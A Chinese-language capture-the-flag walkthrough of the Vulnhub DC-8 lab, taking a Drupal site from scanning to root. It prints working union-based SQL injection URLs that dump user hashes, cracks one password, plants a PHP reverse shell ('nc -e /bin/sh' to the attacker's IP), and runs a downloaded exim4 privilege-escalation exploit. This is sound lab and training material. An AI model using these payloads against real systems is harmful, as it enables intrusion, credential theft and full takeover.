Vulnhub靶机实战——DC-8

靶机DC-8下载地址： https://download.vulnhub.com/dc/DC-8.zip

环境：VMware 15虚拟机软件

         DC-8靶机IP地址：192.168.220.156

         Kali的IP地址：192.168.220.155

DC-8靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.155

ip addr

使用nmap工具扫描192.168.220.0/24网段，查找存活主机，发现靶机dc8的IP地址：192.168.220.156

nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP

 

扫描dc8靶机开放的端口，发现已开放22(SSH)、80(HTTP)端口

nmap -A -T4 192.168.220.156 -p- -oN nmap156.A

使用whatweb指纹工具查看网站，发现使用Drupal CMS搭建的网站

whatweb http://192.168.220.156/ >> dc8-whatweb.txt
cat dc8-whatweb.txt

访问靶机网站

http://192.168.220.156/

点击网站欢迎页面左侧栏“Details”，发现地址栏出现页面id值，怀疑存在注入点，这里可以使用sqlmap工具自动跑注入出自己想要的数据，我手动注入！懒得跑sqlmap了

找到注入点测试后，发现是数字型注入，且当前页面使用的数据表只有一列，开始爆库

http://192.168.220.156/?nid=1’ --+

http://192.168.220.156/?nid=1 order by 1  --+

爆出当前使用的数据库名

http://192.168.220.156/?nid=-1 union select database()  --+

爆出数据库中的表名，找到一个users表应该是我们想要的表

http://192.168.220.156/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database()   --+

爆users表中的列名，发现有name、pass列

http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'  --+

爆出users表中name、pass列的数据，爆出两个用户名admin和john及密码加密后的密文

http://192.168.220.156/?nid=-1 union select group_concat(name,':',pass) from users  --+

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

将用户名和密码密文保存到dc8-hash.txt中

vim dc8-hash.txt

用户名有一个john，可能是要john工具爆破密码，这里直接使用john爆破，使用john的默认字典，爆出john的密码，admin的密码没有爆出

john dc8-hash.txt

john/turtle

使用john用户登录网站，成功登入，发现Contact Us 页面可以修改内容，修改此页面并写入php反弹shell代码

http://192.168.220.156/user/login

<p>GETSHELL</p>
<?php
system("nc -e /bin/sh 192.168.220.155  4567");
?>

代码写入保存后，kali监听4567端口，等待shell，在Contact Us页面随便输入信息点击Submit后，查看kali已得到shell

http://192.168.220.156/node/3
nc -lvvp 4567
python -c 'import pty;pty.spawn("/bin/bash")'

使用find命令查找具有suid权限的命令，找到一个exim4命令，exim是一款在Unix系统上使用的邮件服务，exim4在使用时具有root权限

find / -perm -u=s -type f 2>/dev/null

查看exim4当前版本号

/usr/sbin/exim4 –version

查找exim的漏洞攻击脚本，找到46996.sh脚本文件

searchsploit exim

将46996.sh拷贝到本地并改名，并在kali开启http服务

cp /usr/share/exploitdb/exploits/linux/local/46996.sh getShell.sh
cat getShell.sh
python -m SimpleHTTPServer

在靶机上将getShell.sh脚本文件下载到靶机本地，并给脚本赋予执行权限

wget http://192.168.220.155:8000/getShell.sh

chmod 777 getShell.sh

根据脚本提示，执行脚本文件并添加命令参数，执行后获取到root权限，并找到flag.txt文件

./getShell.sh -m netcat